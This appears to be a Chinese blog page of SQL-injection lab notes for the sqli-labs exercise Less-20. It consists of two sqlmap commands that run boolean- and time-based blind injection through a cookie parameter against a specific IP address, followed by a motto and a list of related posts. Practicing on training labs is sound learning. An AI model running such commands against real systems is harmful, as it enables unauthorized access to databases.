    python sqlmap.py -u http://106.54.35.126/Less-20/ --dbms=MySQL --random-agent --flush-session --cookie="uname=admin" -p "uname" --technique=B -v 3 --level=3 --risk=3 --dbs --batch

    时间型盲注
    python sqlmap.py -u http://106.54.35.126/Less-20/ --dbms=MySQL --random-agent --flush-session --cookie="uname=admin" -p "uname" --technique=T -v 3 --level=3 --risk=3 --dbs --batch


    ===============================================================================================================================

    迷茫的人生,需要不断努力,才能看清远方模糊的志向!
  • 相关阅读:
    JS实现 div拖拽 限制在屏幕内
    国际化配置simple_form
    simple_form模板templates erb haml
    git rolify
    rails模板生成bootstrap格式的simple_form的erb文件
    rails生成器生成自定义controller模板
    ubuntu 终端常用命令(转)
    Ruby for Rails笔记
    Java基础
    javascript ybmiaov
  • 原文地址:https://www.cnblogs.com/autopwn/p/13705489.html
Copyright © 2020-2023  润新知